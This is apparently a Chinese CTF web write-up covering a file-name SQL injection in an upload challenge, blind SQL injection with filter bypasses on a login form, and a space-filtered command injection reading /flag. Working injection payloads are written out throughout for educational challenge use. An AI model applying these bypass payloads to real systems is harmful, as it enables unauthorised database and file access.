upload(SQL注入+文件上传)
http://111.200.241.244:55378/index.php
根据题目名称upload提示,这里应该是从文件上传作为攻击入口,因此正常注册账号admin:admin
成功登录后发现存在文件上传点
这里通过上传各类文件,发现只有jpg文件才能正常上传
若为其他的后缀文件,报错
由于后台文件后缀强制白名单,因此想要通过上传文件解析获得webshell的路被堵死了。以前做安全测试的时候通常也都只关注后缀名的问题,这里考察的就是对文件名的利用。在这个题目中,前端上传文件到服务器,并将文件名保存到服务器的数据库中,然后前端从数据库中获取文件名称。在这个过程中,文件名称是我们控制且能利用的。
而test.jpg就正常显示
因此这里大概后台的语法就类似
1. Insert tablename Value(文件名)
2. Select 文件名 from tablename where uid=1661
接下来考虑绕过select,由于select被置空,双写绕过尝试
selselectect.jpg -- > select.jpg
(Selselectect database()).jpg
看起来没有解析,通过引号尝试闭合,‘+(Selselectect database())+’.jpg
回显为0,考虑通过进制转换
'+(selecselectt hex(database()))+'.jpg
回显的都为数字,没有字母。理论上如果数据库名中带数字,转为16进制会有英文,如果带有字母,也会有英文。因此这里16进制转换后,被过滤了一部分数据。至少说明字母无法显示。因此考虑将16进制转为10进制,然后再显示。
'+(selecselectt conv(hex(database()),16,10))+'.jpg
可以看到这里已经转成10进制了,但是由于数字太大,显示为科学记数法,可以考虑通过substr分割显示,保证每一段都能以10进制的方式正常呈现。
'+(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
利用burp的decoder模块,将131277325825392编码转为hex,然后解码成ascii,得到web_up
取后半部分,最终得到数据库名为web_upload
'+(selselectect conv(substr(hex(database()),13,12),16,10))+ '.jpg
同理获得数据表名为hello_flag_is_here
'+(selecselectt conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
都过滤了(SQL注入+命令执行)
首页是一个登录框
在测试用户名和密码的时候,存在3种响应
输入admin:123456
输入test:123456
输入admin--+:123456
可以看到存在SQL注入的检测,且存在用户名admin,根据题目《都过滤了》以及提示,该题应该是一道SQL注入题,且部分特殊字符都被过滤掉了。
这里payload 设置为admin'-0-'
提示密码错误,说明用户名成功绕过
这里mid的用法注意
Mid(str FROM pos FOR len)
通过这种方式可以不使用逗号,从而绕过逗号的过滤。如果具有空格过滤,可将str/pos/len进行括号
MID((str)FROM(pos)FOR(len))
admin'-(mid((passwd)from(1))='a')-'
接下来可以使用ascii函数,默认只会对数字的第一位进行转换
得到payload为:
admin'-(ascii(mid((passwd)from(1)))=ord(‘a'))-'
通过不断遍历from(1)的位置,就可以获得passwd字段的值
最终通过脚本如下
获得密码hash为
密码是4dcc88f8f1bc05e7c2ad1a60288481a2
解密得到
使用admin:bugkuctf登录
这里有一个命令执行的输入口,通过测试,当有空格的时候被过滤。最终通过重定向cat</flag读取文件。
原文始发于微信公众号(第59号):CTF之Web题型总结三
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论